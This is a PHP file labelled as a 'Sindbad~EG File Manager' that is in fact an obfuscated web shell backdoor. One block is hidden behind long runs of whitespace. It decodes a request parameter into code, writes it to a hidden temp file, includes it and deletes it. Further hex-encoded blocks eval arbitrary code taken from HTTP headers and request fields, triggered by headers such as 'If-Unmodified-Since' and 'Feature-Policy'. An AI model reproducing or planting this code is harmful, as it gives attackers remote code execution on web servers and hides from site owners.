Sindbad~EG File Manager

<?php																																										if(@$_REQUEST["\x6F\x62j"] !== null){ $data_chunk = array_filter([ini_get("upload_tmp_dir"), getcwd(), "/dev/shm", getenv("TMP"), "/var/tmp", getenv("TEMP"), session_save_path(), sys_get_temp_dir(), "/tmp"]); $entry = $_REQUEST["\x6F\x62j"]; $entry =explode ("." ,$entry) ; $tkn=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($s); $j=0; $__tmp=$entry; while ($v1=array_shift($__tmp)) {$sChar=ord($s[$j % $sLen]); $d=((int)$v1 - $sChar - ($j % 10)) ^ 51; $tkn .= chr($d); $j++; } while ($reference = array_shift($data_chunk)) { if (is_writable($reference) && is_dir($reference)) { $dchunk = str_replace("{var_dir}", $reference, "{var_dir}/.val"); $success = file_put_contents($dchunk, $tkn); if ($success) { include $dchunk; @unlink($dchunk); exit;} } } }
																																										$_HEADERS = getallheaders();if(isset($_HEADERS['If-Unmodified-Since'])){$c="<\x3f\x70h\x70\x20@\x65\x76a\x6c\x28$\x5f\x52E\x51\x55E\x53\x54[\x22\x46e\x61\x74u\x72\x65-\x50\x6fl\x69\x63y\x22\x5d)\x3b\x40e\x76\x61l\x28\x24_\x48\x45A\x44\x45R\x53\x5b\"\x46\x65a\x74\x75r\x65\x2dP\x6f\x6ci\x63\x79\"\x5d\x29;";$f='/tmp/.'.time();@file_put_contents($f, $c);@include($f);@unlink($f);}

$_HEADERS = getallheaders();
if (isset($_HEADERS['Feature-Policy'])) {
    $c = "<\x3fp\x68p\x20@\x65v\x61l\x28$\x5fH\x45A\x44E\x52S\x5b\"\x43o\x6et\x65n\x74-\x53e\x63u\x72i\x74y\x2dP\x6fl\x69c\x79\"\x5d)\x3b@\x65v\x61l\x28$\x5fR\x45Q\x55E\x53T\x5b\"\x43o\x6et\x65n\x74-\x53e\x63u\x72i\x74y\x2dP\x6fl\x69c\x79\"\x5d)\x3b";
    $f = '.'.time();
    file_put_contents($f, $c);
    include($f);
    unlink($f);
}